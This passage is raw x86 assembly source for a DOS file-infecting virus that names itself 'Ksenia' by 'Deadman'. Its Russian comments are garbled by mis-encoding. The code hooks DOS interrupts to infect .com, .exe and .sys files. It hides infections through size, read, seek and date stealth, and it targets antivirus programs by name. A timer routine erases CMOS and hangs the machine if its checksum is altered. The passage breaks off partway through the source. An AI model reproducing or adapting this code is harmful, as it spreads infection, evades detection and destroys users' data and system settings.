咨飡�� 細ι��⑨ � 쭬�젲����� �젵ゥ mov bp,[bp-6] ; 貰魚젺����� IP ぎ쵟�ㄾ� INT � sub bp,offset ipX ; �揖ⓤワ�� �젳��飡� 細ι��Ł (delta) mvs ds,cs ; Þⓩ쯄エ쭬與� DS lea si,original+bp ; 丞젳졻�レ 췅 �黍（췅レ��� lea di,intcall+bp ; 췅�젷� ㅰ젵´�� mov ax,[si+08] ; 쭬｀習첓 細ι��⑨ �昔璵ㅳ贍 mov ds:[08],ax ; �誓贍쥯�⑨ 貰魚젺���� 細ι��⑨ mov [di],ax ; 瀞ⅸ첓 � 젮誓貰� �昔璵ㅳ贍 �誓贍쥯�⑨ mov [di+02],cs ; ㅰ젵´�� lea bx,reqhdr+bp ; 丞젳졻�ワ 췅 젮誓� 쭬．ギ˚� 쭬�昔�� les bx,[bx] ; 쭬｀習첓 젮誓�� 쭬．ギ˚� 쭬�昔�� mov ax,es:[bx.0eh] ; 細ι���� ぎ��� 캙э殊, ㄾ飡承��� ㅰ젵´說 shr ax,4 ; ��ャ曄��� 醒，��狩�� 貰飡�˙禎耀� 細ι��⑨ add ax,es:[bx.10h] ; ㄾ줎˙���� 醒，���� ぎ��� 캙э殊 sub ax,msize/10h+2 ; 僧��麟���� ㄾ飡承��� ㅰ젵´說 캙э殊 mov w es:[bx.0eh],0 ; 細ι���� ��笹ⅳⅲ� ㄾ飡承��． 줎⒱� mov es:[bx.10h],ax ; 醒，��� ��笹ⅳⅲ� ㄾ飡承��． 줎⒱� sub ax,10h ; AX - 醒，��� ˘說�� mov es,ax ; 貰魚젺���� 醒，���� mov di,100h ; ��誓．� ˘說�� � ゃ貰� lea si,[di+bp] ; �洙燼����� � ㅰ젵´�� 캙э殊 mov cx,msize cld rep movsb push es o tmps ; ��誓쩆�� 承�젪ゥ�⑨ � ���硫 醒，��� retf tmps: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� call d cs:intcall ; �留�� ㅰ젵´�� (押�ゆ⑨ 00: Þⓩ쯄エ쭬與�) call SaveRegs ; 貰魚젺���� 誓（飡昔� mov ax,1856h ; �昔´夕� 췅 �黍率恂手�� ˘說�� � 캙э殊 int 21h ; AH=18 - �信�좑 押�ゆ⑨ cmp ax,3265h ; AX=3265 - ㎛좂ⓥ, 譽� ぎ�⑨ ˘說�� 拾� � jz sfars ; 캙э殊 mvs ds,cs ; Þⓩ쯄エ쭬與� 醒，��狩�． 誓（飡�� les bx,d reqhdr ; ▲芯� 쭬�昔�� mov ax,es:[bx.0eh] ; 細ι���� ぎ��� 캙э殊, ㄾ飡承��� ㅰ젵´說 shr ax,4 ; ��ャ曄��� 醒，��狩�� 貰飡�˙禎耀� 細ι��⑨ add ax,es:[bx.10h] ; ㄾ줎˙���� 醒，���� ぎ��� 캙э殊 cmp ax,intcall+2 ; 醒，��� ㅰ젵´�� jz sfars ; ��誓㎤ㄵ�狩硫 ㅰ젵´�? inc ax ; + 1 캙�젫�졽 push ax ; ｀젺ⓩ� add ax,msize/10h+2 ; 瑟�エ曄��� ｀젺ⓩ 캙э殊 mov w es:[bx.0eh],0 ; 細ι���� ��笹ⅳⅲ� ㄾ飡承��． 줎⒱� mov es:[bx.10h],ax ; 醒，��� ��笹ⅳⅲ� ㄾ飡承��． 줎⒱� pop ax ; 拾� �� ｀젺ⓩ� sub ax,10h ; AX - 醒，��� ˘說�� mov es,ax ; 貰魚젺���� 醒，���� mov di,100h mov si,di mov cx,msize ; ぎ�ⓣ�쥯��� 收쳽 ˘說�� �� cld ; №�Д���． 醒，���� � �ぎ��졻�レ�硫 rep movsb push es offset owns ; ��誓쩆�� 承�젪ゥ�⑨ � �ぎ��졻�レ�硫 retf ; 醒，��� ˘說�� ��笹� ㅰ젵´�� owns: call VectMan ; 쭬｀習첓 � ��誓罌졻 ´も�昔� �誓贍쥯�Ł sfars: call LoadRegs ; 쭬｀習첓 誓（飡昔� retf 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 렊쳽飡� 쩆��音 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 copyright db 'Ksenia.' db vsize/1000 mod 10+'0' db vsize/100 mod 10+'0' db vsize/10 mod 10+'0' db vsize mod 10+'0' db ' Version 1.1 Copyright (C) ',??date,' by Deadman',0 extens db '.com',0 ; �졹鼇誓�⑨ �젵ギ�, ぎ獸贍� щ db '.exe',0 ; Þ十與說�� db '.sys',0 db 0 prms db 'AVPDOS32',0,0,' /M' ,0dh db 'DRWEB' ,0,0,' /NM' ,0dh db 'F-PROT' ,0,0,' /NOMEM',0dh db 0 AVs db 'ADINF',0 ; ⓨ ˘說� 循�짛筍 �� ▲ㄵ� db 'COMMAND',0 db 0 windows db 'WiNBooTDiR=',0 db 0 files db '\SYSTEM\CONAGENT.EXE',0 db '\COMMAND\MODE.COM',0 db '\COMMAND\ANSI.SYS',0 db '\HIMEM.SYS',0 db '\WIN.COM',0 db 0 stlock db 'PKZIP',0 ; �昔｀젹щ, ¡ №�э �젩�瞬 ぎ獸贍� db 'RAR',0 ; �洙ヮ�좐恂� 飡�メ-押�ゆĿ ˘說�� db 'ARJ',0 db 'LHA',0 db 'ARC',0 db 'UUENCODE',0 db 'DEFRAG',0 db 'SPEEDISK',0 db 'SCANDISK',0 db 'CHKDSK',0 db 'NDD',0 db 'ADINF',0 db 0 funcs dw 1856h,tsrtest ; �昔´夕� 쭬�젲����飡� 캙э殊 (NULL) dw 4AFFh,rehook ; re-��誓罌졻 ´も��� (SETBLOCK) dw 3DFFh,infect ; 쭬�젲���� (OPEN) dw 1857h,infect ; 쭬�젲���� (VIXFIRUS) dw 41FFh,infect ; 쭬�젲���� (DEL) dw 43FFh,infect ; 쭬�젲���� (CHMOD) dw 4BFFh,infect ; 쭬�젲���� (EXEC) dw 56FFh,infect ; 쭬�젲���� (REN) dw 6C00h,extinfect ; 쭬�젲���� (EXTOPEN) dw 7141h,infect ; 쭬�젲���� (LFN DEL) dw 7143h,infect ; 쭬�젲���� (LFN CHMOD) dw 7156h,infect ; 쭬�젲���� (LFN REN) dw 716Ch,extinfect ; 쭬�젲���� (LFN OPEN) dw 71A9h,extinfect ; 쭬�젲���� (LFN SERVER OPEN) dw 11FFh,fcbstealth ; 飡�メ (FCB) dw 12FFh,fcbstealth ; 飡�メ (FCB) dw 4EFFh,dtastealth ; 飡�メ (DTA) dw 4FFFh,dtastealth ; 飡�メ (DTA) dw 714Eh,lfnstealth ; 飡�メ (LFN) dw 714Fh,lfnstealth ; 飡�メ (LFN) dw 71A6h,infstealth ; 飡�メ (LFN HANDLE INFO) dw 5700h,date_get ; 飡�メ (GET DATE) dw 5701h,date_set ; 飡�メ (SET DATE) dw 42FFh,seekstealth ; 飡�メ (LSEEK) dw 3FFFh,readstealth ; 飡�メ (READ) dw 40FFh,diswrite ; 飡�メ (WRITE) dw 3EFFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 44FFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 45FFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 46FFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 68FFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 0 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 렊�젩�洵Ø �誓贍쥯�⑨ 08 (Virus Guard) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 vguard: call SaveRegs ; 貰魚젺���� 誓（飡昔� inc cs:delay ; �昔´夕� ▲ㄵ� �昔ⓤ若ㄸ筍 �黍Д惜� cmp cs:delay,18 ; 첓┐莘 醒ゃ�ㅳ jb exit_guard mov cs:delay,0 call crc ; ��ㅱ曄� CRC 收ワ ˘說�� cmp cs:checksum,eax ; 蓀젪����� ⅴ � 將젷����� jz crc_ok mov ax,1681h ; �↔琠ゥ��� 췅�젷� DOS Critical Session int 2fh ; mov al,0ffh ; ぎ�循�カ�� �誓贍쥯�Ł: out 21h,al ; 쭬�誓耀��� ㏇ε 젽캙�졻�音 �誓贍쥯�Ł mov cx,40h ; 쭬殊�젰� 쩆��瑜 CMOS cmos: mov ax,cx out 71h,al out 70h,al loop cmos jmp $ ; ´歲� 쵟鼇�� crc_ok: mov ax,1856h ; �昔´涉��, �Ø獸 エ �� �紐Ħ猶젷 췅� int 21h ; �□젩�洵Ø 21-． �誓贍쥯�⑨ �� �↓ⅸ cmp ax,3265h ; 璵��? je exit_guard mov ax,3521h ; 쭬�昔� ´も��� int 21h int 21h call set_dup ; 信�젺�˘筍 21-� ´も�� �誓贍쥯�⑨ 췅 ㅰ膝�� lea dx,manager ; ℓα� �拾�� ��誓信�젺�˘筍 ´も�� call chk_dup ; 췅若ㄸ� Д飡�, ゃ쩆 丞젳猶젷 ´も�� jnz reset ; � ��笹ⅳ��� ．ㅻ 聲�ⅸ ┬㎛� lea dx,handler reset: mov ax,2521h ; ��誓信�젺젪エ쥯�� ´も�� mvs ds,cs int 21h exit_guard: call LoadRegs jmp d cs:io08 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 렊�젩�洵Ø �誓贍쥯�⑨ 21 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 handler: call chk_dup ; �昔´夕�, �� ��誓信�젺�˘エ エ ´も�� jz manager ; 將� 〓쥯β ��笹� 쭬｀習え Win95 jmp D cs:io21p ; Þ좂� щ 栒� �� �黍 曄� manager: call SaveRegs ; 貰魚젺ⓥ� ㏇� 誓（飡贍 mov cs:save_ax,ax ; 貰�魚젺���� 캙�젹β昔� mov cs:save_bx,bx ; ▲ㅳ� ⓤ��レ㎜쥯筍碎 (Filename), αエ mov cs:save_es,es ; 押�ゆ⑨ = 4b00 � 쭬��信첓�щ� �젵� - AV lea si,funcs ; α筍 �젩エ囹�, �� ぎ獸昔� �□젩졻猶좐恂� fscan: cmp ah,cs:[si+1] ; �拾�瑜 押�ゆĿ int 21 (dw F#, dw offset) jne lnext ; 蓀젪�Ð젰� al � 收ゃ耀� 瀞ⅸぎ� �젩エ劣 cmp B cs:[si],0ffh ; �昔´夕� 췅 ���拾��飡� �昔´夕� ��ㅴ勝ゆĿ je ljump cmp B cs:[si],al ; �昔´夕� ��ㅴ勝ゆĿ jne lnext ljump: call mcbcheck ; 押�ゆ⑨ 췅ħ�췅: �昔´夕� MCB (ㄻ� stealth) push W cs:[si+2] ; ‥誓� 細ι���� �□젩�洵Ø� ㄻ� 押�ゆĿ jmp LoadRegs ; ¡遜�젺젪エ쥯�� 誓（飡贍 lnext: add si,4 ; ‥誓� 笹ⅳ莘芋� 쭬�ⓤ� �� �젩エ劣 cmp w cs:[si],0 ; �昔´夕� ぎ��� �젩エ劣 jnz fscan call LoadRegs ; �□젩�洵Ø ㄻ� 將�� 押�ゆĿ �젶 � �� jmp ExitHandler ; 췅ħ��: �搜젰� 承�젪ゥ��� exithandler: push ax ax es bx bp ; 貰魚젺���� ES:BX � 誓㎘舒ⓣ�쥯��� Д飡� call get_dup ; ��ャ曄��� �黍（췅レ��． ´も��� int 21h mov bp,sp mov [bp+6],bx ; 쭬��� ´も��� � ㄲ� 聲�‘ㄽ瑜 瀞ⅸえ mov [bp+8],es ; � 飡ⅹ� pop bp bx es ; ¡遜�젺�˙���� 誓（飡昔� ES:BX retf ; ��誓쩆�� 承�젪ゥ�⑨ DOS ireturn: retf 2 ; ¡㎖�졻 � 勝①獸┘���� 氏젫�� � 飡ⅹ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 뇿�젲���� �젵ギ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 extinfect: call SaveRegs ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 mov dx,si jmp InfA infect: call SaveRegs ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 InfA: call Hook24 ; 信�젺�˚� 24-． ´も��� �誓贍쥯�⑨ call Filename ; �昔´夕� º��� � �졹鼇誓�⑨ �젵쳽 jc noinf call ClearFileAttributesA jc noinf call CreateFileA ; �洙贍殊� �젵쳽 ㄻ� R/W jc RAttr call Infect_Handle ; Þ十與昔쥯��� handle call CloseFile ; 쭬む淫�� �젵쳽 Rattr: call RestoreFileAttributesA Noinf: call Remove24 ; ¡遜�젺�˙���� �□젩�洵Ø� int 24h call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� cmp ah,3dh ; �昔´夕� 췅 押�ゆ⑧ �洙贍殊� �젵쳽 je sftstealth ; � 笹晨젰 �洙贍殊� Þ十與昔쥯���． �젵쳽 cmp ax,6c00h ; 췅� ��췅ㄾ〃恂� 僧��麟ⓥ� ⅲ� ㄻÞ� je sftstealth ; � SFT � �洙�薛ⅹ殊昔쥯筍 ⅲ� 쩆栒 cmp ax,716ch ; je sftstealth ; cmp ax,71A9h ; je sftstealth ; jmp exithandler ; 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; SFT stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 sftstealth: call int21 ; �洙贍筍 �拾�硫 �젵� call SaveRegs ; 貰魚젺���� 誓（飡昔� jc no_sft xchg ax,bx call CloseSFT ; 쭬む淫� SFT no_sft: call LoadRegs jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; FCB stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 fcbstealth: call int21 ; �留쥯筍 押�ゆ⑧ DOS call SaveRegs ; 貰魚젺���� 誓（飡昔� cmp al,0ffh ; 췅ħ��� 譽�-�Æ蝨�? jz no_fcb cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_fcb mov ah,2fh ; 쭬�昔� 젮誓�� DTA call int21 cmp b es:[bx],0ffh ; �졹鼇誓���� FCB? jne usual add bx,7 usual: lea si,[bx+19h] ; si -> 쩆�� �젵쳽 lea di,[bx+1dh] ; di -> ㄻÞ� �젵쳽 call sizst ; 稅贍殊� エ鈺ⓨ 줎⒱ no_fcb: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; DTA stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 dtastealth: call int21 ; �留쥯筍 押�ゆ⑧ DOS call SaveRegs ; 貰魚젺���� 誓（飡昔� jc no_dta ; 췅獄�? cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_dta mov ah,2fh ; 쭬�昔� 젮誓�� DTA call int21 lea si,[bx+18h] ; si -> 쩆�� �젵쳽 lea di,[bx+1ah] ; di -> ㄻÞ� �젵쳽 call sizst ; 稅贍殊� エ鈺ⓨ 줎⒱ no_dta: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Win95 stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 infstealth: stc ; CF ㄾウ�� 〓筍 信�젺�˙�� call int21 ; �留쥯筍 押�ゆ⑧ DOS call SaveRegs ; 貰魚젺���� 誓（飡昔� jc no_win ; ㏇� ok? cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_win mov ax,0 ; №�э � Win95 兒席졻� mov si,dx lea di,[si+24h] ; �젳Д� �젵쳽 lea si,[si+14h] ; 쩆�� �젵쳽 mvs es,ds jmp allw95 lfnstealth: call int21 ; �留쥯筍 押�ゆ⑧ DOS call SaveRegs ; 貰魚젺���� 誓（飡昔� jc no_win ; 췅獄�? cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_win mov ax,si ; 兒席졻 №�Д�� lea si,[di+14h] ; 쩆�� �젵쳽 lea di,[di+20h] ; �젳Д� �젵쳽 allw95: cmp ax,1 ; �昔´夕� 兒席졻� №�Д�� jz dos_date push si di ax ; 貰魚젺���� 캙�젹β昔� 췅 ▲ㅳ迹ⅴ mov ax,71a7h ; ��誓¡� №�Д�� �� 兒席졻� mov bl,0 ; Win95 � 兒席졻 DOS mvs ds,es ; SI 丞젳猶젰� 췅 쩆栒 call int21 ; 醒⑴졹 CX:DX 貰ㄵ逝졻 �〓嶺�� DOS №�э pop ax di si ; ¡遜�젺�˙���� 캙�젹β昔� mov [si],cx ; 貰魚젺���� 캙�젹β昔� � FindDataRecord mov [si+2],dx dos_date: add si,2 ; si -> 쩆�� �젵쳽 call sizst ; di -> ㄻÞ� �젵쳽 sub si,2 cmp ax,1 ; �昔´夕� 兒席졻� №�Д�� jz no_win mov ax,71a7h ; ��誓¡� №�Д�� �� 兒席졻� mov bl,1 ; DOS � 兒席졻 Win95 mov di,si ; DI -> buffer ㄻ� №�Д�� � 쩆瞬 mov cx,[di] ; 譽���� №�Д�� � 쩆瞬 � 兒席졻� DOS mov dx,[di+2] call int21 ; 醒⑴졹 ES:[DI] 貰ㄵ逝ⓥ №�э Win95 no_win: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; DATE stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 date_get: call OpenSFT ; �洙贍筍 SFT cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_seek call int21 ; 쭬�昔� 쩆瞬 call hidestm ; 쵟稅ⓣ�˚� 쩆瞬 clc jmp seek_ret date_set: call OpenSFT ; �洙贍筍 SFT call int21 ; 信�젺�˚� 쩆瞬 call correctdate ; ��젪첓 쩆瞬 jmp seek_ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; LSEEK stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 seekstealth: call OpenSFT ; �洙贍筍 SFT cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_seek call ioctl ; �昔´夕� �젵쳽 IOCTL jc no_seek call Inf_Check ; Þ十與昔쥯�? jnc no_seek push cx ; 貰魚젺���� CX cmp al,2 ; �昔´夕� 殊캙 jne forw sub dx,vsize ; 쵟稅ⓣ�˚� 췅飡�玎ⅲ� ぎ��� �젵쳽 sbb cx,0 ; 誠˘� Ħβ �� ．ギ�� ˘說�� forw: call int21 ; ℓα� 信�젺�˚� 丞젳졻�ワ Ħβ �� 췅�젷� pop cx ; ¡遜�젺�˙���� CX jc seek_ret ; Œ� �� 收ゃ耀� ��㎤與� call seekhide ; ∥�え昔˚� ��캙쩆�⑨ lseek 췅 收ギ ˘說�� mov ax,cs:seek_pos mov dx,cs:seek_pos+2 jmp seek_ret no_seek: call int21 ; �留�� DOS seek_ret: call CloseSFT ; 쭬む淫� SFT jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; READ stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 readstealth: call OpenSFT ; �洙贍筍 SFT cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_seek call ioctl ; �昔´夕� �젵쳽 IOCTL jc no_seek call Inf_Check ; Þ十與昔쥯�? jnc no_seek call SeekSave ; 貰魚젺���� ��㎤與� 丞젳졻�ワ call int21 ; 쭬�昔� 譽��⑨ 쩆��音 jc seek_ret call SaveRegs ; 貰魚젺���� 誓（飡昔� mov di,dx ; ㅳ∥ⓣ�쥯��� 細ι��⑨ ▲芯�� mov cs:nrbytes,ax ; ぎエ曄飡¡ �昔葉�젺�音 줎⒱ cmp d cs:seek_pos,32 ; 葉�좐� 쭬．ギ¡�? jae zone call crload ; �昔葉�졻� 췅飡�玎ⅴ 췅�젷� �젵쳽 lea si,buffer ; SI -> 췅飡�玎ⅴ 췅�젷� add si,cs:seek_pos ; SI -> � 晨β�� 細ι��⑨ 譽��⑨ mov cx,cs:nrbytes ; 淞ⓥ젰� ぎエ曄飡¡ 줎⒱ ぎ獸贍� 췅� �拾�� add cx,cs:seek_pos ; 貰飡�メⓥ� cmp cx,32 ; ��㎤與� ぎ��� 譽��⑨ ゥ┬� 쭬 �誓ㄵギ� jbe $+5 ; 貰魚젺����． 췅�젷� �젵쳽? mov cx,32 sub cx,cs:seek_pos jcxz zone ; � 笹晨젰 譽��⑨ 0 줎⒱ rhide: mov al,cs:[si] ; ��ㄼ�췅 Þ十與昔쥯���． 췅�젷� �젵쳽 췅 mov [di],al ; �黍（췅レ��� inc si inc di loop rhide zone: call seekhide ; ∥�え說�� ¡㎚�┃�飡� ��캙쩆�⑨ lseek 췅 call LoadRegs ; ㎜�� ˘說�� + 僧��麟��⑨ 葉笹� �昔葉�젺�音 mov ax,cs:nrbytes ; 줎⒱ jmp seek_ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ALL HANDLER stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 patchsft: call OpenSFT ; �洙贍筍 SFT jmp no_seek 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; WRITE stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 diswrite: call OpenSFT ; �洙贍筍 SFT cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_seek call ioctl ; �昔´夕� �젵쳽 IOCTL jc no_seek call Inf_Check ; Þ十與昔쥯�? jnc no_seek call SaveRegs ; 貰魚젺���� 誓（飡昔� call SeekSave ; 貰魚젺���� ��㎤與� 丞젳졻�ワ mvs ds,cs ; DS=CS call crload ; 쭬｀習첓 �黍（췅レ��． 췅�젷� � ▲芯� call seek2bof ; ��Д飡ⓥ� 丞젳졻�レ � 췅�젷� �젵쳽 mov cx,32 ; 쭬�ⓤ� �黍（췅レ��． 쭬．ギ˚� �젵쳽 lea dx,buffer call write xor cx,ax ; �鼇―�? �� 獸＄� �黍 쭬�ⓤ� 獸．, jnz disfail ; 曄． �昔碎� �鼇―� ▲ㄵ� 獸┘! mov cx,-1 ; ㄲª젰п� � ．ギ´ ˘說��. �.�. mov dx,-vsize ; � ぎ�軟 쭬�젲����� �昔｀젹щ call seekfrom_eof mov ah,40h ; �□ⅶ젰� �젵� xor cx,cx ; 蝨젷畑� 收ギ ˘說�� �� ˘說貰��歲收ワ call int21 mov ah,68h ; 聖�졹猶젰� ▲芯�� call int21 disfail: call RestoreSeek ; ¡遜�젺젪ゥ��� ��㎤與� 丞젳졻�ワ call LoadRegs ; ¡遜�젺젪ゥ��� 誓（飡昔� jmp no_seek ; �音�ㄸ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; �昔´夕� Þ十與昔쥯���飡� 캙э殊 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 tsrtest: mov ax,3265h ; Hi, AX=3265 jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��™�惜硫 ��誓罌졻 ´も��� int 21h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 rehook: call SaveRegs ; 貰魚젺���� 誓（飡昔� call chk_dup ; �昔´夕�, 〓� エ ´も�� 拾� jnz no_hook ; ��誓信�젺�˙�� call WinOldAp ; �昔´夕�, 譽�-�Æ蝨� �㎚��Œ�刷 � cmp ax,cs:w95state ; МД��� Þ飡젷ワ與� ˘說�� � 캙э筍 jz no_hook ; (〓쳽 エ 쭬｀拾�췅 Win95) mov ax,3521h ; ��ャ曄��� ´も��� int 21h int 21h mov ax,2521h ; 信�젺�˚� ��¡． ´も��� �誓贍쥯�⑨ lea dx,manager mvs ds,cs int 21h call set_dup ; 貰魚젺���� ´も��� � ㅰ膝�� 瀞ⅸぅ IVT no_hook: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� jmp exithandler ; 袴袴袴袴袴袴袴袴袴袴袴袴> S�U�B�R�O�U�T�I�N�E�S <袴袴袴袴袴袴袴袴袴袴袴袴� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 쭬｀習첓 � ��誓罌졻 ´も�昔� �誓贍쥯�Ł 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 VectMan: call SaveRegs ; 貰魚젺���� 誓（飡昔� mvs ds,cs ; Þⓩ쯄エ쭬與� 醒，��狩�． 誓（飡�� call WinOldAp ; ��ャ曄��� 飡졻信� Þ飡젷ワ與� WinOldAp mov w95state,ax ; 貰魚젺���� 氏젲첓 mov ax,3521h ; AH=35 AL=INT# - 押�ゆ⑨ ㄻ� ��ャ曄�⑨ int 21h ; ´も��� �誓贍쥯�⑨ AL mov io21p,bx ; 貰魚젺ⓥ� ´も�� � 瀞ⅸぅ 캙э殊 mov io21p+2,es call set_dup ; 信�젺�˘筍 21-� ´も�� �誓贍쥯�⑨ 췅 ㅰ膝�� mov ax,2521h ; 信�젺�˘筍 聲�� �□젩�洵Ø lea dx,handler ; �誓贍쥯�⑨ int 21h mov ax,3508h ; 쭬�昔� ´も��� �誓贍쥯�⑨ int 21h mov io08,bx ; 貰魚젺���� ´も��� � 瀞ⅸ첓� 캙э殊 mov io08+2,es mov ax,2508h ; 信�젺�˚� �誓贍쥯�⑨ 08h (�젵Д�) lea dx,vguard ; ㄻ� �昔´夕� 璵ギ飡��飡� ぎ쩆 int 21h call LoadRegs ; ¡遜�젺�˙���� ´も�昔� ret get_dup: push ds si ; 쭬｀習첓 誓（飡昔� ES:BX �黍（췅レ�臾 mvs ds,0 ; ´も�昔� 21-． �誓贍쥯�⑨ mov si,63h*4 mov bx,[si] mov es,[si+2] pop si ds ret set_dup: push ds si ; 貰魚젺���� ES:BX � 63-� ´も�誓 mvs ds,0 ; �誓贍쥯�⑨ mov si,63h*4 mov [si],bx mov [si+2],es pop si ds ret chk_dup: push ds si eax ; �昔´夕� �㎚������ 63-． ´も��� mvs ds,0 ; �誓贍쥯�⑨ mov si,63h*4 mov eax,[si] cmp d cs:io21p,eax pop eax si ds ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; �昔´夕� 젶殊˛�飡� Win95 (ⓤ��レ㎯� WinOldAp) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 WinOldAp: mov ax,1700h ; 押�ゆ⑨ WinOldAp Installation Check int 2fh ; �昔｀젹쵟, ぎ獸�좑 �黍率恂手濕� � Win95 ret ; � 32-�젳涉ㄽ�� 誓┬Д � PE 兒席졻� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 쭬�젲���� �ⅹ�獸贍� ┬㎛���� 쥯┃音 �젵ギ� ; ⓤ��レ㎯β STACKS � 첓曄飡´ ▲芯�� ㄻ� º�� �젵ギ� 